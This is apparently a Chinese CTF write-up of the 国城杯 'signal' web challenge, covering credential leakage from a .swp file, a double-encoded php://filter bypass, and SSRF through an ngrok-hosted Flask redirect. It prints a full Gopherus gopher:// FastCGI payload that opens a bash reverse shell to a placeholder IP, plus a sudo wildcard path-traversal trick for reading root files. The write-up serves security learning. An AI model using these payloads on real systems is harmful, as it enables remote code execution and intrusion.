# 国城杯复现

# signal

提示:cgi

显示一个登录框,还是信息搜集

image-20250220211829084

用 dirsearch 搜索到 index.php.swp:

image-20250220211856238

获取这个拿到信息:

guest:MyF3iend

登录:

image-20250220211908376

可以目录穿越读 flag,但是是假的

image-20250220212409239

开始尝试包含文件,发现包含 admin.php 文件会直接跳转回 index.php 页面,说明 php 代码是被解析了 的,所以可以知道后端就是 Include 函数来包含的,因为这里解析了 php 代码,所以现在就是看如何进行 文件包含,并且是需要将其编码输出才能成功文件包含读取代码。

其实这里是有几个非预期的,比如 fileter chian、侧信道读取文件等,然后设置为只能 get 传参,禁了很 多 filter chain 需要用的过滤器的部分的字符,想着 fuzz 都很难 fuzz 出来,所以也是打不了的(想着可以 报 419 的错误),这里为了禁这些非预期是下了狠手的,虽然只是一个简单的二次编码绕过的考点。所 以直接像下面这个这样传参即可(ps:还是没防住,忘了禁读 guest.php 了,导致明牌 waf,被 filter

chain 非预期了):

二次编码绕过:

php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25% 32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25 %36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

获得 admin.php 源码:

<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') { $_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit(); }
$url = $_POST['url']; $error_message = '';  $page_content = '';
if (isset($url)) {
if (!preg_match('/^https:\/\//', $url)) {
$error_message = 'Invalid URL, only https allowed'; } else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $page_content = curl_exec($ch);
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content'; }
curl_close($ch); }
}
?>

发现:

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

发现是允许跟随 302 跳转的,并且是接受 POST 传参 url 的,但是是加了 session 验证的,所以是需要知道 怎么登陆进这个 admin 页面的,所以现在是需要找在哪里可以得到 admin 的账户。继续信息收集,可以 在最开始的登录页面的源代码中看到如下代码:

image-20250220212422934

这还有个 php,读一下:

<?php
session_start();
$users = [
'admin' => 'FetxRuFebAdm4nHace',
'guest' => 'MyF3iend' ];
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username']; $password = $_POST['password'];
if (isset($users[$username]) && $users[$username] === $password) { $_SESSION['logged_in'] = true;
$_SESSION['username'] = $username;
if ($username === 'admin') {
header('Location: admin.php');
} else {
header('Location: guest.php'); }
exit(); } else {
$_SESSION['error'] = 'Invalid username or password';
header('Location: index.php'); exit();
}
} else {
$_SESSION['error'] = 'Please fill in the username and password'; header('Location: index.php');
   exit();
   
  ?>

得到账号,登录 admin

image-20250220212438323

获得这个东西,可以进行 ssrf,因为 admin.php 源码是说的可以进行 302 跳转的,我们可以进行 ssrf302 跳转,然而只能用 https 协议

就得用 ngrok 这个来将 http 转成 https 来进行绕过

ssrf:

image-20241211215854696

通过用公网地址让靶机访问公网的服务器,然后公网机给一个 127.0.0.1 访问靶机的内容,这里可以用 **Gopherus** 来进行 shell 反弹(就是命令执行)

由于 ngrok 的特殊性,使得用于的公网机可以是自己的私网地址,我用的就是自己的 kali

用 gopherus 来获得 payload:

image-20241211220321397

将其贴入

python 脚本:

from flask import Flask, redirect 
app =Flask(__name__)
@app.route('/')
def indexRedirect():
    redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/【IP】/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('0.0.0.0', port=8080, debug=True)

在 kali 里面运行 python 脚本:

image-20241211220509309

再运行 ngrok:

image-20241211220530102

ngrok http 8080

image-20241211220555879

可以看见已经变成 https 的公网地址

直接放入 admin.php 中

https://6b43-111-22-76-69.ngrok-free.app

submit

image-20241211221201883

谈到了:

但是 cat 不了 flag (没找到):

find / -name flag*

寻找所有带有 flag 名字的文件

image-20241211221310459

找到这个 flag:

image-20241211221327004

再次提示不是这个 flag

还没有权限

sudo -l

image-20241211221438025

因为此处无密码 sudo 的 cat 可读路径用了 * 进行通配,所以可以尝试目录穿越,如下读取 flag 即可:

sudo cat /tmp/whereflag/../../../root/flag

最后获取 flag:

image-20241211221603553

爽啦!(终于复现了一道难的题目,555)

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal